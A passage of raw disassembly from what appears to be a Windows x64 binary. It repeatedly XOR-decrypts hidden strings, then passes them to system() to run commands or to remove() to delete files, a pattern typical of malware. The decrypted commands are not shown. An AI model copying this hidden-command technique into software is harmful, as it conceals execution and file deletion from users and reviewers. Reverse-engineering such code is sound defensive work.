packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005aa20
cmp r8d, 0x32
jge 0x14005ab51
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x14005ab20
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2b80]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2ba0]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2ba0]
call fcn.14007a350
lea rcx, [rbp + 0x2b80]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x35e6]
lea rcx, [rbp + 0x3b]
mov byte [rbp + 0x3b], al
call fcn.140073770
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x14005ad11
mov r8d, r14d
cmp r15d, 2
jl 0x14005acd4
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005abe1
cmp r8d, 0x32
jge 0x14005ad11
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x14005ace0
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2bc0]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2be0]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2be0]
call fcn.14007a350
lea rcx, [rbp + 0x2bc0]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x3618]
lea rcx, [rbp + 0x3c]
mov byte [rbp + 0x3c], al
call fcn.1400737a0
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x14005aed1
mov r8d, r14d
cmp r15d, 2
jl 0x14005ae94
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005ada1
cmp r8d, 0x32
jge 0x14005aed1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x14005aea0
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2c00]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2c20]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2c20]
call fcn.14007a350
lea rcx, [rbp + 0x2c00]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x364a]
lea rcx, [rbp + 0x3d]
mov byte [rbp + 0x3d], al
call fcn.1400737d0
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x14005b091
mov r8d, r14d
cmp r15d, 2
jl 0x14005b054
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005af61
cmp r8d, 0x32
jge 0x14005b091
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x14005b060
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2c40]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2c60]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2c60]
call fcn.14007a350
lea rcx, [rbp + 0x2c40]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x3da0]
lea rcx, [rbp + 0x3e]
mov byte [rbp + 0x3e], al
call fcn.140073800
mov r10, rax
cmp byte [rax + 0x3f], 0
je 0x14005b261
cmp r15d, 2
jl 0x14005b21d
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x40
jl 0x14005b130
jmp 0x14005b261
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x40
jl 0x14005b230
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3ee2]
lea rcx, [rbp + 0x3f]
mov byte [rbp + 0x3f], al
call fcn.140073830
mov r10, rax
cmp byte [rax + 0x41], 0
je 0x14005b3e1
mov r8d, r14d
cmp r15d, 2
jl 0x14005b3a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x40
jl 0x14005b2b0
cmp r8d, 0x42
jge 0x14005b3e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x42
jl 0x14005b3b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140047ef0
xor eax, eax
lea rdx, [rbp + 0x3102]
lea rcx, [rbp + 0x40]
mov byte [rbp + 0x40], al
call fcn.140073870
mov r10, rax
cmp byte [rax + 0x2b], 0
je 0x14005b561
mov r8d, r14d
cmp r15d, 2
jl 0x14005b523
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x14005b430
cmp r8d, 0x2c
jge 0x14005b561
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2c
jl 0x14005b530
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
lea rdx, [rbp + 0x2fb8]
lea rcx, [rbp + 0x41]
mov byte [rbp + 0x41], al
call fcn.1400738a0
mov r10, rax
cmp byte [rax + 0x28], 0
je 0x14005b6e1
mov r8d, r14d
cmp r15d, 2
jl 0x14005b6a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x14005b5b0
cmp r8d, 0x29
jge 0x14005b6e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x29
jl 0x14005b6b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
lea rdx, [rbp + 0x2f90]
lea rcx, [rbp + 0x42]
mov byte [rbp + 0x42], al
call fcn.1400738d0
mov r10, rax
cmp byte [rax + 0x27], 0
je 0x14005b861
cmp r15d, 2
jl 0x14005b81d
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x28
jl 0x14005b730
jmp 0x14005b861
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x28
jl 0x14005b830
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
lea rdx, [rbp + 0x2fe1]
lea rcx, [rbp + 0x43]
mov byte [rbp + 0x43], al
call fcn.140073900
mov r10, rax
cmp byte [rax + 0x28], 0
je 0x14005b9e1
mov r8d, r14d
cmp r15d, 2
jl 0x14005b9a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x14005b8b0
cmp r8d, 0x29
jge 0x14005b9e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x29
jl 0x14005b9b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
lea rdx, [rbp + 0x5921]
lea rcx, [rbp + 0x44]
mov byte [rbp + 0x44], al
call fcn.140073930
mov r10, rax
cmp byte [rax + 0x75], 0
je 0x14005bb61
mov r8d, r14d
cmp r15d, 2
jl 0x14005bb23
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x70
jl 0x14005ba30
cmp r8d, 0x76
jge 0x14005bb61
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x76
jl 0x14005bb30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5f45]
lea rcx, [rbp + 0x45]
mov byte [rbp + 0x45], al
call fcn.1400739a0
mov r10, rax
cmp byte [rax + 0x7b], 0
je 0x14005bce1
mov r8d, r14d
cmp r15d, 2
jl 0x14005bca3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x14005bbb0
cmp r8d, 0x7c
jge 0x14005bce1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x7c
jl 0x14005bcb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x81e9]
lea rcx, [rbp + 0x46]
mov byte [rbp + 0x46], al
call fcn.140073a10
mov r10, rax
cmp byte [rax + 0x9f], 0
je 0x14005be64
cmp r15d, 2
jl 0x14005be20
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
